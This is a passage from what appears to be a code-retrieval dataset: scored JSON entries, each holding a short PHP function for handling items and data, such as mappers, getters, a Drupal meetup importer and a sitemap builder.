getItemsData()\n {\n $data = array();\n foreach ( $this->items as $key => $item ) {\n $data[ $key ] = $item->getData();\n }\n\n return $data;\n }", "title": "" }, { "docid": "d4cd69334af2b9e2b9dd81b40bc45802", "score": "0.5247417", "text": "public function cast($entity, array $data, array $options = array()) {\n\n\t\t$model = $entity->model();\n\n\t\tforeach ($data as $key => &$val) {\n\t\t\tif (!is_array($val)) {\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\t$val = $this->item($model, $val, array('class' => 'entity'));\n\t\t}\n\t\treturn parent::cast($entity, $data, $options);\n\t}", "title": "" }, { "docid": "b7b5f3c9f7c55852d8f4066fc6176110", "score": "0.52441186", "text": "public abstract function mapData();", "title": "" }, { "docid": "5ea9adea45c68e83585f1bcf38cb4b40", "score": "0.52429277", "text": "public function getDataItem()\n {\n return $this->oDataItem;\n }", "title": "" }, { "docid": "eff16c49891472a85fa48843e4e137ad", "score": "0.5240508", "text": "public function updateItemsData($items);", "title": "" }, { "docid": "297f8b2421e5a04d251f733b8dc5957a", "score": "0.52284515", "text": "function setobjectitem(){\n\t\tglobal $json,$dbego,$obj_item;\n\t\t//seteo cada request\n\t\tforeach ($_REQUEST as $key => $value) {\n\t\t\t$obj_item-> $key = $value;\n\t\t}\t\t\n\n\t\t$json[\"object\"] = $obj_item;\n\t\t$obj_item->set_data_type = 'mail';\n\t\t$obj_item->set_mailto = 'camaleondevs502@gmail.com';\n\t}", "title": "" }, { "docid": "4e38676fa17c8dbb02d77b942acb9e92", "score": "0.52231175", "text": "abstract protected function initItems();", "title": "" }, { "docid": "9e48c34f6110c7114144cb51c21fcba4", "score": "0.5221892", "text": "private function _toEasyPostCustomsItems()\n {\n return [\n [\n 'description' => $this->_parcel->getItem()->getName(),\n 'quantity' => 1,\n 'value' => 25,\n 'weight' => $this->_parcel->getWeightOz(),\n 'hs_tariff_number' => '98100035', //harmonization code https://hts.usitc.gov/?query=9810.00.35\n 'origin_country' => 'US',\n ]\n ];\n }", "title": "" }, { "docid": "6a5192ae292606d09d4ace23593b6e51", "score": "0.52196556", "text": "protected function _itemData($items, $currency = 'AUD')\n {\n\n if( $currency != \"AUD\" ) {\n $currency = \"AUD\";\n }\n\t\n // set original data\n $data = array();\n\n // looping all item data that needed for API\n foreach ($items as $item)\n {\n $data[] = array(\n 'name' => $item->getName(),\n 'sku' => $item->getSku(),\n 'quantity' => $item->getQtyOrdered(),\n 'price' => array(\n 'amount' => number_format($item->getPrice(), 2),\n 'currency' => $currency,\n )\n );\n\n }\n // return the item data\n return $data;\n }", "title": "" }, { "docid": "2b1061375371d570d8cc4a7ba6b5e8c8", "score": "0.52105963", "text": "function mts_tgmpba_table_data_item( $item, $plugin ) {\n\tif ( ! empty( $plugin['available_separately'] ) ) {\n\t\t$item['source'] = __( 'MyThemeShop', 'cyprus' );\n\t\t$item['available_separately'] = true;\n\t}\n\tif ( ! empty( $plugin['info_link'] ) ) {\n\t\t$item['info_link'] = $plugin['info_link'];\n\t}\n\tif ( ! empty( $plugin['tab'] ) ) {\n\t\t$item['tab'] = $plugin['tab'];\n\t}\n\treturn $item;\n}", "title": "" }, { "docid": "7ebd1caabb784ccdbb82c8386035ef9d", "score": "0.5209808", "text": "protected function _afterLoadData()\n {\n foreach ($this->getItems() as $item) {\n $this->getResource()->unserializeFields($item);\n $item->setDataChanges(false);\n }\n return parent::_afterLoadData();\n }", "title": "" }, { "docid": "53e42aa7bde7c1d30a7b82bbcd134f6c", "score": "0.5207865", "text": "function _eatlas_search_aggregator_item_to_result($item, $keys) {\n\t$item = _eatlas_search_load_aggregator_item($item);\n\t$title = $item['title'];\n\t$link = $item['link'];\n\t$desc = $item['description'];\n\n\treturn array(\n\t\t'link' => $link,\n\t\t'type' => 'Metadata',\n\t\t'title' => $title . ' [' . $item['iid'] . ']',\n\t\t'item' => $item,\n\t\t'score' => $item['calculated_score'],\n\t\t'snippet' => _eatlas_search_excerpt($keys, $desc),\n\t);\n}", "title": "" }, { "docid": "fdf6dfb26f70499c7fe0b450fa210e73", "score": "0.5204401", "text": "abstract protected function prepareDataNews(SimplePieItemAdapter $data);", "title": "" }, { "docid": "f8b063d882ebe187b08885468e232d39", "score": "0.5204069", "text": "protected function prepareData()\n {\n parent::prepareData();\n $this->prepareBundleItems();\n }", "title": "" }, { "docid": "46613806b16aaa20a8a537e34e0315ef", "score": "0.52029014", "text": "private function _fillItem($item, $options)\n {\n if(isset($item))\n {\n $aliases = array(\n 'id' => 'ID',\n 'transactionId' => 'transactionID',\n );\n\n foreach($options as $k => $v)\n {\n if(!empty($aliases[$k]))\n {\n $item->{'set'.ucfirst($aliases[$k])}($v);\n }\n else\n {\n $item->{'set'.ucfirst($k)}($v);\n }\n }\n }\n\n return $item;\n }", "title": "" }, { "docid": "5a331c586b9fdc49121f853312da8178", "score": "0.5199861", "text": "public function get_item_data() {\n\t\t\t$item_id = intval($this->input->post('item_id'));\n\t\t\t$item = $this->main->get_item($item_id);\n\t\t\techo json_encode($item);\n\t\t}", "title": "" }, { "docid": "ef5b8e0e3523db76840ebb07344a6a45", "score": "0.5198538", "text": "public function set_data( $data ) {\n\t\t$this->temp_items = $data;\n\t}", "title": "" }, { "docid": "4108cf1d8610d3139391c1ab268c4ef6", "score": "0.5197524", "text": "static function parse_item($data) {\n $item = array();\n $data = (array)$data;\n foreach ($data as $k => $v) {\n $v = array_values((array) $v);\n $item[$k] = array_pop($v);\n }\n return $item;\n }", "title": "" }, { "docid": "560317a1039643655c95d936782e6add", "score": "0.51909465", "text": "protected function _getItemsData()\n {\n $productCollection = $this->getLayer()->getProductCollection();\n if ($data = $productCollection->getFlag('before_apply_faceted_data_'.$this->_requestVar)) {\n } else {\n $data = $this->_getRatingsData($productCollection);\n }\n $this->setData('items_data', $data);\n return $data;\n }", "title": "" }, { "docid": "8db3eaab2eb9e194760ec1e47e0db5be", "score": "0.517403", "text": "public function processItem($item) {\n if (!empty($item->id)) {\n $entity = $this->findExisting($item->id);\n }\n\n if (empty($entity)) {\n // An item is going to be inserted.\n $result = State::ITEM_CREATED;\n\n // Create a new node.\n $entity = Node::create([\n 'type' => static::CONTENT_TYPE,\n ]);\n }\n else {\n // An item is going to be updated.\n $result = State::ITEM_UPDATED;\n }\n\n // Generate a hash of the item to check if it has changed.\n $hash = $this->hash($item);\n if ($entity->field_hash->getString() == $hash) {\n // Hashes are equal. Do not update the item.\n return State::ITEM_SKIPPED;\n }\n\n // Correct the data.\n // Timestamps are milliseconds, convert them to seconds.\n $item->time = $item->time / 1000;\n $item->created = $item->created / 1000;\n $item->updated = $item->updated / 1000;\n\n // Convert time value to date.\n $item->time = DrupalDateTime::createFromTimestamp($item->time, DATETIME_STORAGE_TIMEZONE)\n ->format(DATETIME_DATETIME_STORAGE_FORMAT);\n\n // Mapping.\n $entity->field_meetup_id = $item->id;\n $entity->field_hash = $hash;\n $entity->setTitle($item->name);\n $entity->field_datetime = $item->time;\n $entity->field_source = $item->link;\n $entity->setCreatedTime($item->created);\n $entity->setChangedTime($item->updated);\n // Outcommented setting published status based on visibility because\n // sometimes events are placed on both drupal.nl and meetup.com. The idea is\n // that these meetup events are unpublished manually by a drupal.nl admin\n // user. In this case, we don't want to republish such an item.\n //$entity->setPublished($item->visibility == 'public');\n\n // Save the entity.\n try {\n $entity->save();\n\n // Whether an item is created or updated was decided earlier.\n return $result;\n }\n catch (Exception $e) {\n // If exceptions occur, saving failed.\n // @todo log exception?\n return State::ITEM_FAILED;\n }\n }", "title": "" }, { "docid": "a1d1262057e2d9a01b2f7a81077f6c35", "score": "0.5170058", "text": "public function prepare_items()\n {\n $columns = $this->get_columns();\n $hidden = $this->get_hidden_columns();\n\n $data = $this->table_data();\n\n $this->_column_headers = array($columns, $hidden);\n $this->items = $data;\n }", "title": "" }, { "docid": "dfc067b61b5f1cb9f57f63f5c2bc870c", "score": "0.5167408", "text": "function getTypeItem($id) {\n\t\tglobal $page;\n\n\t\t$item = $page->getObject(\"Item\");\n\t\t$key = array_search($id, $item->item[\"id\"]);\n\n\t\t$query = new Query();\n\t\t$query->sql(\"SELECT name, html, UNIX_TIMESTAMP(timestamp) as timestamp, language_id FROM \".UT_ITT_BLO.\" WHERE item_id = \".$id);\n\t\t$item->item[\"name\"][$key] = $query->getQueryResult(0, \"name\");\n\t\t$item->item[\"html\"][$key] = $query->getQueryResult(0, \"html\");\n\t\t$item->item[\"timestamp\"][$key] = date(\"d-m-Y H:i\", $query->getQueryResult(0, \"timestamp\"));\n\t\t$item->item[\"language_id\"][$key] = $query->getQueryResult(0, \"language_id\");\n\t}", "title": "" }, { "docid": "28928bf8807d3aec3a7a9438a72226d7", "score": "0.51630133", "text": "abstract public function to();", "title": "" }, { "docid": "25b141e7bbe33f32697370424ba3e1ec", "score": "0.5161266", "text": "function item_out_data_item_get() {\n $id_item = $this->get('id_item');\n\t\t\t\t$user = $this->model_api->getItemOutItemData($id_item);\n\t\t\t$this->response($user, 200);\n\t\t}", "title": "" }, { "docid": "875a08f7236c916960823b084874a68d", "score": "0.51597244", "text": "public function getDataForMakeItemMethod(): array\n {\n return [\n 0 => [\n 0 => [\n 'Item' => [\n 'toArray' => [\n 'id' => 7,\n 'parentId' => 3,\n 'name' => 'Bertrand Stracke',\n 'status' => 1,\n 'url' => 'http://www.pouros.com/cum-sit-reiciendis-fugiat-fugit-qui-voluptas-quisquam.html',\n 'createdAt' => '2020-03-16T10:44:21+00:00',\n 'updatedAt' => '2020-03-16T09:09:05+00:00',\n ],\n 'sameValueAs' => true,\n 'toNative' => [\n 'id' => 7,\n 'parentId' => 3,\n 'name' => 'Bertrand Stracke',\n 'status' => 1,\n 'url' => 'http://www.pouros.com/cum-sit-reiciendis-fugiat-fugit-qui-voluptas-quisquam.html',\n 'createdAt' => '2020-03-16T10:44:21+00:00',\n 'updatedAt' => '2020-03-16T09:09:05+00:00',\n ],\n 'getId' => [\n 'sameValueAs' => true,\n 'toNative' => 7,\n 'inc' => [\n 'sameValueAs' => true,\n 'toNative' => 2,\n ],\n 'decr' => [\n 'sameValueAs' => true,\n 'toNative' => 2,\n ],\n ],\n\n 'getParentId' => [\n 'sameValueAs' => false,\n 'toNative' => 3,\n 'inc' => [\n 'sameValueAs' => true,\n 'toNative' => 2,\n ],\n 'decr' => [\n 'sameValueAs' => true,\n 'toNative' => 3,\n ],\n ],\n 'getName' => [\n 'toNative' => 'Bertrand Stracke',\n 'sameValueAs' => false,\n 'isEmpty' => false,\n ],\n 'getStatus' => [\n 'isActive' => true,\n 'sameValueAs' => true,\n 'toNative' => 5,\n 'inc' => [\n 'sameValueAs' => true,\n 'toNative' => 6,\n ],\n 'decr' => [\n 'sameValueAs' => true,\n 'toNative' => 4,\n ],\n ],\n 'getUrl' => [\n 'toNative' => 'http://www.pouros.com/cum-sit-reiciendis-fugiat-fugit-qui-voluptas-quisquam.html',\n 'sameValueAs' => false,\n 'isEmpty' => false,\n ],\n 'getCreatedAt' => [\n 'toNative' => [\n 'getTimestamp' => '2020-03-16T10:44:21+00:00',\n ],\n ],\n 'getUpdatedAt' => [\n 'toNative' => [\n 'getTimestamp' => '2020-03-16T09:09:05+00:00',\n ],\n 'sameValueAs' => true,\n 'getDate' => [\n 'toNative' => [\n 'getTimestamp' => '08:05:09',\n ],\n ],\n 'getTime' => [\n 'toNative' => [\n 'getTimestamp' => '21:16:27',\n ],\n ],\n 'toNativeDateTime' => [\n 'getTimestamp' => '13:19:08',\n ],\n ],\n 'serialize' => [\n 0 => 'voluptatum',\n 1 => 'maiores',\n 2 => 'dolorum',\n ],\n ],\n ],\n 1 => [\n 'makeItem' => 0,\n ],\n ],\n ];\n }", "title": "" }, { "docid": "aec83da7a807a239eaf2dcebff21289f", "score": "0.5158999", "text": "function item_in_data_item_get() {\n $id_item = $this->get('id_item');\n\t\t\t\t$user = $this->model_api->getItemInItemData($id_item);\n\t\t\t$this->response($user, 200);\n\t\t}", "title": "" }, { "docid": "a6d067c7c7182026d4e48de77458e52e", "score": "0.5145953", "text": "public function onOrderItemCreate(CartItem $item)\n {\n $data = parent::onOrderItemCreate($item);\n\n //rewrite and Assign correct product or variant\n $data['product_id'] = ($item->variant_id ?? null) ?: ($item->product_id ?? null) ?: ($item->id ?? null);\n\n return $data;\n }", "title": "" }, { "docid": "7228ec5b682b6931bf601e869243e9ac", "score": "0.5134795", "text": "protected function buildFromItem(Item $item)\n {\n $item = $this->buildItem($item);\n $this->completeRelations($item);\n\n return $item;\n }", "title": "" }, { "docid": "585a162e5079d7816517aae1a364e7cf", "score": "0.5132007", "text": "function toModelData(){\r\n\t\t$r = new ModelData($this->mappings);\r\n\t\tforeach($this as $k=>$v)\r\n\t\t\t$r->$k = $v;\r\n\t\treturn $r;\r\n\t}", "title": "" }, { "docid": "82a1348be81ec1243a94d032ae1d5da7", "score": "0.51308274", "text": "function getData(){ \n return json_decode($this->data); \n }", "title": "" }, { "docid": "25cf3c37b01fd93e221f980115d9c1e4", "score": "0.51218176", "text": "public function toData()\n {\n $values = DB::getPublicProperties($this);\n \n foreach ($values as $key => &$item) {\n if (!$this instanceof Dynamic && !property_exists(get_class($this), $key)) {\n unset($values[$key]);\n continue;\n }\n \n if ($item instanceof Identifiable) {\n $item = $item->getId();\n } elseif ($item instanceof Data) {\n $item = $item->toData();\n }\n }\n \n return $values;\n }", "title": "" }, { "docid": "73b257c308de8fc108c5c569f12ace4a", "score": "0.51181185", "text": "public function assignData(DataObject $data);", "title": "" }, { "docid": "09ff903b4532455809c5c0e4cc5e6a80", "score": "0.5116101", "text": "function read_item() {\n $item = $this->array_item();\n\n $arr = \"\\t\\t<url>\\n\";\n $arr .= \"\\t\\t\\t<loc>$this->domain</loc>\\n\";\n $arr .= \"\\t\\t\\t<lastmod>$this->today</lastmod>\\n\";\n $arr .= \"\\t\\t\\t<changefreq>hourly</changefreq>\\n\";\n $arr .= \"\\t\\t\\t<priority>0.9</priority>\\n\";\n $arr .= \"\\t\\t</url>\\n\\n\";\n\n foreach ($item as $row) {\n $arr .= \"\\t\\t<url>\\n\";\n $arr .= \"\\t\\t\\t<loc>$row[url]</loc>\\n\";\n $arr .= \"\\t\\t\\t<lastmod>$row[date]</lastmod>\\n\";\n $arr .= \"\\t\\t\\t<changefreq>$row[changefreq]</changefreq>\\n\";\n $arr .= \"\\t\\t\\t<priority>0.9</priority>\\n\";\n $arr .= \"\\t\\t</url>\\n\\n\";\n }\n\n return $arr;\n }", "title": "" }, { "docid": "2102790524501730841d6678e95f4b69", "score": "0.5110775", "text": "public function test_prepare_item() {\n\t}", "title": "" }, { "docid": "a642c07c99a1a6d699a1c114f6a6ddab", "score": "0.5106014", "text": "public function getItem($pk=null)\n {\n $item = parent::getItem($pk);\n $item->primarylangvalue = $item->original_id;\n\n #also need to set the primaryvalue\n if (isset($item->type)) {\n switch ($item->type)\n {\n case 'customfield':\n $item->original = $this->_db->setQuery('select id,varname,fieldname as original from #__pbbooking_customfields')->loadObject();\n break;\n case 'calendar':\n $item->original = $this->_db->setQuery('select id,name as varname, name as original from #__pbbooking_cals')->loadObject();\n break;\n case 'service':\n $item->original = $this->_db->setQuery('select id,name as varname, name as original from #__pbbooking_treatments')->loadObject();\n case 'message':\n $messagekey = $this->messageMap[$item->original_id];\n $item->original = new JObject(array('id'=>$item->original_id,'varname'=>$messagekey,'original'=>$GLOBALS['com_pbbooking_data']['config']->$messagekey));\n break;\n case 'subject':\n $subjectkey = $this->subjectMap[$item->original_id];\n $item->original = new JObject(array('id'=>$item->original_id,'varname'=>$subjectkey,'original'=>$GLOBALS['com_pbbooking_data']['config']->$subjectkey));\n break;\n }\n\n $item->primaryvalue = $item->original->original;\n }\n\n return $item;\n\n }", "title": "" }, { "docid": "f40752dcc0738bd794f6e3d1811b988f", "score": "0.5093871", "text": "public function getData()\t{\n\n\t\t$items = $this->feed->get_items();\n\t\t$i = 0;\n\t\t$out = array();\n\t\tforeach($items as $item)\t{\n\t\t\t$out[$i++] = $this->getSingleItem($item);\n\t\t}\n\t\treturn $out;\n\t}", "title": "" }, { "docid": "3ff2fa644113be68635ce3904e3f10fc", "score": "0.50854516", "text": "public function exchangeArray($data)\n {\n $this->id = (isset ( $data ['id'] )) ? $data ['id'] : null;\n\t\t$this->brief = (isset ( $data ['brief'] )) ? $data ['brief'] : null;\n\t\t$this->description = (isset ( $data ['description'] )) ? $data ['description'] : null;\n\t\t$this->name = (isset ( $data ['name'] )) ? $data ['name'] : null;\n\t\t$this->category_id = (isset ( $data ['category_id'])) ? $data ['category_id'] : null;\n\t\t$this->image_url = (isset ( $data ['image_url'])) ? $data ['image_url'] : null;\n\t\t$this->user_id = (isset ( $data ['user_id'])) ? $data ['user_id'] : null;\n \n }", "title": "" }, { "docid": "bc05da05755a7fe9de99849171c650d6", "score": "0.5073081", "text": "private function getItemForItem($item_name) {\n $default_item = array();\n $default_item['item_id'] = 0;\n $default_item['quality'] = 2;\n $default_item['name'] = $item_name;\n\n // getItemByName from lookup table\n $item = $this->getDoctrine()\n ->getRepository(Items::class)\n ->getItemByName($item_name);\n\n if ($item) {\n $default_item['item_id'] = $item[0]->getItemId();\n $default_item['quality'] = $item[0]->getQuality();\n $default_item['name'] = $item[0]->getItemName();\n } else {\n // from buffed\n $content = file_get_contents('http://wowdata.buffed.de/?f=' . urlencode($item_name));\n $matches = [];\n preg_match('/Btabs?(.*?\\}]\\))/', $content, $matches, PREG_OFFSET_CAPTURE);\n\n $possible_items = array();\n if ($matches && count($matches) > 1)\n {\n $str = trim($matches[1][0], '(');\n $json = json_decode(trim($str, ')'));\n foreach ($json[0]->rows as $row) {\n if ((int)$row->level < 100) {\n $possible_items[] = $row;\n }\n }\n }\n\n if (count($possible_items) > 0){\n $default_item['item_id'] = $possible_items[0]->id;\n $default_item['name'] = substr($possible_items[0]->n, 1);\n // replace quality from item_templates\n $item_tpl = $this->getDoctrine()\n ->getRepository(ItemTemplate::class)\n ->findByItemId($default_item['item_id']);\n if ($item_tpl) {\n $default_item['quality'] = (int)$item_tpl[0]->getQuality();\n }\n // save new item to our lookup table\n $entityManager = $this->getDoctrine()->getManager();\n $item_lookup = new Items();\n $item_lookup->setItemId($default_item['item_id']);\n $item_lookup->setItemName($default_item['name']);\n $item_lookup->setQuality($default_item['quality']);\n $entityManager->persist($item_lookup);\n $entityManager->flush();\n }\n }\n return $default_item;\n }", "title": "" }, { "docid": "108f77c369a90372f5b8feacf24463f2", "score": "0.5062448", "text": "public function getPostData()\n {\n if (isset($_POST[$this->name]))\n {\n $val = $_POST[$this->name];\n $className = $this->getClass() ? $this->getClass() : 'stdClass';\n $decoded = JSON_decode(stripslashes($val));\n unset($items);\n unset($obj_item);\n $items = array();\n if (is_array($decoded))\n {\n foreach ($decoded as $std_object)\n {\n $obj_item = new $className;\n foreach ($std_object as $subkey => $value)\n {\n // substitui pq o ttable gera com quebra de linha no multifield\n $obj_item->$subkey = utf8_encode(str_replace(\"\\n\",'',URLdecode($value)));\n // verifica se é um json\n if (is_array(json_decode($obj_item->$subkey)))\n {\n $content = json_decode($obj_item->$subkey);\n $return = array();\n foreach ($content as $position)\n {\n $return[ $position->{'id'} ] = $position->{'text'};\n }\n \n $obj_item->$subkey = $return;\n }\n }\n $items[] = $obj_item;\n }\n }\n return $items;\n }\n else\n {\n return '';\n }\n }", "title": "" }, { "docid": "2b9674402735f4785d5cb2ea46c92f0c", "score": "0.5060135", "text": "protected function prepareItem($value) {\n return $value;\n }", "title": "" }, { "docid": "461e80fdb644725cbea13c42cce27410", "score": "0.5059053", "text": "public function hydrate($data, $itemIdentifier='id', $itemContent='name',$parentIdentifier='parent')\n\t{\n\t\tforeach($data as $item)\n\t\t{\n\t\t\t$newItem = new Item($item->{$itemContent},$item->{$itemIdentifier});\n\t\t\tif ($item->{$parentIdentifier} == 0 || is_null($item->{$parentIdentifier}) )\n\t\t\t{\n\t\t\t\t$this->addRoot($newItem);\n\t\t\t}\n\t\t\telseif ($parent = $this->findById($item->{$parentIdentifier}))\n\t\t\t{\n\t\t\t\t$this->addChild($newItem,$parent);\n\t\t\t}\n\t\t}\n\t\treturn $this;\n\t}", "title": "" }, { "docid": "ebb6a40516d7b50d8e44470168b70e26", "score": "0.5058096", "text": "private function mapXtoID( $data, $IDMapping, $itemToMap ){\n\n foreach( $data as $key=>$val ){\n\n $data[$key][$itemToMap] = $IDMapping[$val[$itemToMap]];\n }\n\n return $data;\n }", "title": "" }, { "docid": "6c2eeb30ef7d7541cdf18fdf0ee2ed87", "score": "0.5057064", "text": "public function toEntity($data)\n {\n\n }", "title": "" }, { "docid": "14ac1d9a936b37d5b0a7e4c685c9a6b0", "score": "0.50539815", "text": "private function prepareData()\n {\n foreach ($this->xml->TOUR as $tour) {\n $array = [];\n\n foreach ($this->fields as $field) {\n $array[$field] = $this->cleanUpString($tour->$field);\n }\n\n $array[$this->price] = $this->getPrice($tour, $this->price);\n\n $this->data[] = $array;\n }\n }", "title": "" }, { "docid": "f159fb78a3cf57620fde53abfd6c2013", "score": "0.5053598", "text": "private function update_item() {\n $updated_item = $this->character->getItemSlot($this->params['slot']);\n $return = array(\n 'img' => $updated_item['icon'],\n 'scarcity' => $updated_item['quality'],\n 'name' => $updated_item['name'],\n 'level' => $updated_item['itemLevel']);\n return $return;\n }", "title": "" }, { "docid": "996a58352f1a06fd8540f7d34cd96eed", "score": "0.5048645", "text": "public function augment() {\n if(isset($this->category->items) && !empty($this->category->items)) {\r\n $this->category->itemsIsPopulated = true;\r\n $this->category->{'title-norm'} = $this->normaliseTitle($this->category->title);\r\n $this->category->itemsTotal = count($this->category->items);\n foreach ($this->category->items as $i => $item) {\r\n $this->category->items[$i] = new RebusItem($item, $this->labels);\r\n }\r\n }\n }", "title": "" } ]
1db2f094ab1bd66b6c1853e3ffa23c6f
Updates the cache and adds the given URL (+shortened) to the cache. It also handles cleaning the cache of old entries as well.
[ { "docid": "9a3440e2c20845b9bd116c7bf7505267", "score": "0.77171725", "text": "protected function updateUrlCache($url, $shortenedUrl)\n {\n $source = $this->getEvent()->getSource();\n\n /**\n * Transform the URL (+shortened) into a HEX CRC32 checksum to prevent potential problems\n * and minimize the size of the cache for less cache bloat.\n */\n $url = $this->getUrlChecksum($url);\n $shortenedUrl = $this->getUrlChecksum($shortenedUrl);\n $time = time();\n\n // Handle the URL cache and remove old entries that surpass the limit if enabled\n $this->urlCache[$source][$url] = $time;\n if ($this->limit > 0 && count($this->urlCache[$source]) > $this->limit) {\n asort($this->urlCache[$source], SORT_NUMERIC);\n array_shift($this->urlCache[$source]);\n }\n\n // Handle the shortened cache and remove old entries that surpass the limit if enabled\n $this->shortCache[$source][$shortenedUrl] = $time;\n if ($this->limit > 0 && count($this->shortCache[$source]) > $this->limit) {\n asort($this->shortCache[$source], SORT_NUMERIC);\n array_shift($this->shortCache[$source]);\n }\n unset($url, $shortenedUrl, $time);\n }", "title": "" } ]
[ { "docid": "63731f64e2040f60c8354e0400272e0d", "score": "0.6608446", "text": "public function updateCache();", "title": "" }, { "docid": "b0b5a55702c0aeb34203a8ec74a356e3", "score": "0.6278341", "text": "protected function checkUrlCache($url, $shortenedUrl)\n {\n $source = $this->getEvent()->getSource();\n\n /**\n * Transform the URL (+shortened) into a HEX CRC32 checksum to prevent potential problems\n * and minimize the size of the cache for less cache bloat.\n */\n $url = $this->getUrlChecksum($url);\n $shortenedUrl = $this->getUrlChecksum($shortenedUrl);\n\n $cache = array(\n 'url' => isset($this->urlCache[$source][$url]) ? $this->urlCache[$source][$url] : null,\n 'shortened' => isset($this->shortCache[$source][$shortenedUrl]) ? $this->shortCache[$source][$shortenedUrl] : null\n );\n\n $expire = $this->expire;\n $this->debug(\"Cache expire: {$expire}\");\n /**\n * If cache expiration is enabled, check to see if the given url has expired in the cache\n * If expire is disabled, simply check to see if the url is listed\n */\n if (($expire > 0 && (($cache['url'] + $expire) > time() || ($cache['shortened'] + $expire) > time()))\n || ($expire <= 0 && (isset($cache['url']) || isset($cache['shortened'])))\n ) {\n unset($cache, $url, $shortenedUrl, $expire);\n return true;\n }\n unset($cache, $url, $shortenedUrl, $expire);\n return false;\n }", "title": "" }, { "docid": "25d1c60b1ce13474c9df33f577dd6056", "score": "0.6144913", "text": "abstract public function addEntry($long_url, $short_uri = null);", "title": "" }, { "docid": "0f875dbc4c3ba435e6264b2aed18fc8f", "score": "0.5926656", "text": "private function cacheThis()\n\t{\n\t\t$q = 'UPDATE twitterSearch SET searchResults = \"' .addslashes($this->_results) .'\" WHERE searchTerm = \"' .$this->_searchString .'\"';\n\t\t$r = mysql_query($q, CONN) or die('could not update the results in the database for caching');\n\t}", "title": "" }, { "docid": "16810e827ec584d2cf98d83b59f51b01", "score": "0.58164644", "text": "function updateHitCount($short_url_id){\n\t\t$this->query('UPDATE short_urls SET hit_count = hit_count + 1, modified = NOW() WHERE id='.$short_url_id);\n\t}", "title": "" }, { "docid": "60b586692f056bebfe3c1d2c29531093", "score": "0.5784135", "text": "abstract public function get_url_update();", "title": "" }, { "docid": "46c95aec7023d335d5e3566204c6262f", "score": "0.57787734", "text": "public function cacheUrl(string $url)\n {\n return $this->cache->remember(\"cdn.{$url}\", $this->cacheExpiry, function () use ($url) {\n return $this->rewriteUrl($url);\n });\n }", "title": "" }, { "docid": "f82765257e1c59d83062f815d2e86e02", "score": "0.5744984", "text": "function update_category_cache()\n {\n }", "title": "" }, { "docid": "4f8df741714eb6849f3f0f21a5e5f824", "score": "0.57012725", "text": "function apc_cache_edit_link( $return, $url, $keyword, $newkeyword, $title, $new_url_already_there, $keyword_is_ok ) {\n\tif($return['status'] != 'fail') {\n\t\tapc_delete(apc_cache_get_keyword_key($keyword));\n\t}\n\treturn $return;\n}", "title": "" }, { "docid": "6075e20bff91417563d24aa325879223", "score": "0.5697245", "text": "function update_refurls()\n{\n\tglobal $database;\n\n\t// IF URL IS NOT EMPTY\n\t$referring_url = $_SERVER[\"HTTP_REFERER\"];\n\tif(strpos(strtolower($referring_url), strtolower($_SERVER[\"HTTP_HOST\"])) !== FALSE) { return; }\n\n\tif( $referring_url )\n {\n\t // IS URL ALREADY IN DATABASE? IF YES, ADD TO HITS. IF NO, ADD NEW ROW\n\t $referring_url = str_replace(\"http://www.\", \"http://\", $referring_url);\n\t $database->database_query(\"\n INSERT INTO se_statrefs\n (statref_hits, statref_url)\n VALUES\n ('1', '{$referring_url}')\n\t\t\tON DUPLICATE KEY UPDATE\n statref_hits=statref_hits+1\n \");\n \n\t // IF 1000 ROWS REACHED, DELETE ONE TO MAKE ROOM\n\t $refurl_totalrows = $database->database_num_rows($database->database_query(\"SELECT statref_id FROM se_statrefs\"));\n \n\t if( $refurl_totalrows > 1000 )\n $database->database_query(\"DELETE FROM se_statrefs WHERE statref_hits='1' ORDER BY statref_id ASC LIMIT 1\");\n\t}\n}", "title": "" }, { "docid": "dd11c0429233ad01555ddf637e35b310", "score": "0.5671027", "text": "public function saveToCacheForever();", "title": "" }, { "docid": "3bad84085fcca3875c0eee5121981af0", "score": "0.56335133", "text": "public function setCache($url,$data){\n\t\t$hash = md5($url);\n\t\treturn apc_add($hash, $data, $this->expire_time);;\n\t}", "title": "" }, { "docid": "bd73c73a9a646685714c8e595c8ec4b0", "score": "0.55394197", "text": "private function saveCache(): void\n {\n //====================================================================//\n // Safety Check\n if (!isset($this->cacheItem) || !isset($this->cache) || empty($this->cache)) {\n return;\n }\n //====================================================================//\n // Save Links are In Cache\n $this->cacheItem->set($this->cache);\n $this->cacheAdapter->save($this->cacheItem);\n }", "title": "" }, { "docid": "25019af65649dfe474e1e5dbfe058db3", "score": "0.5539139", "text": "function update_cache($cache_url, $cache_data){\n\t\t$fh = fopen($cache_url, 'w')or die(\"Error opening output file\");\n\t\tfwrite($fh, json_encode($cache_data,JSON_UNESCAPED_UNICODE));\n\t\tfclose($fh);\n\t}", "title": "" }, { "docid": "1b662b529b54fc0e83cdc8234e208f40", "score": "0.55320364", "text": "function update_site_cache( $sites ) {\n\tif ( ! $sites ) {\n\t\treturn;\n\t}\n\n\tforeach ( $sites as $site ) {\n\t\twp_cache_add( $site->blog_id, $site, 'sites' );\n\t\twp_cache_add( $site->blog_id . 'short', $site, 'blog-details' );\n\t}\n}", "title": "" }, { "docid": "6fbec25df17b9812a49a4d1bc8fb0bfd", "score": "0.55090314", "text": "public function addEntry($long_url, $short_uri = null)\n {\n if (is_null($long_url)) {\n throw new Exception('long_url was null!');\n }\n\n $this->blockStore();\n\n $idx = $this->getNextIndex();\n $url = new Url($long_url);\n $short = (is_null($short_uri) || !is_string($short_uri) ? Base58::encode($idx) : $short_uri);\n\n if (!is_int($idx) || !$idx) {\n $this->unblockStore();\n throw new Exception('couldnt get the next available index!');\n }\n\n if (is_null($short) || !is_string($short) || !strlen($short)) {\n $this->unblockStore();\n throw new Exception('shortened url is missing or invalid!');\n }\n\n try {\n $this->appendLine(sprintf('%d,%s,%s,%s', $idx, $short, $long_url, date('Y-m-d H:i:s')));\n $this->unblockStore();\n } catch (Exception $e) {\n $this->unblockStore();\n exit($e->getMessage());\n }\n\n return $short;\n }", "title": "" }, { "docid": "946160a1fa6f48502b238958abb24a3a", "score": "0.5462291", "text": "function wplastfm_update($file, $src) {\r\n global $wplastfm_options;\r\n \r\n if (time()-$wplastfm_options['cache'] > @filemtime($file)) {\r\n $data = wplastfm_get_recenttracks($src);\r\n if (!empty($data)) {\r\n $handle = fopen($file, \"w\");\r\n fwrite($handle, $data);\r\n }\r\n else {\r\n return false;\r\n }\r\n }\r\n return true;\r\n }", "title": "" }, { "docid": "c1f2c92a31affa36b503fd4fa202531f", "score": "0.5461335", "text": "function shorten ()\n {\n //Get all items with no shortlink\n $this->db->where('bitly', '');\n $data = 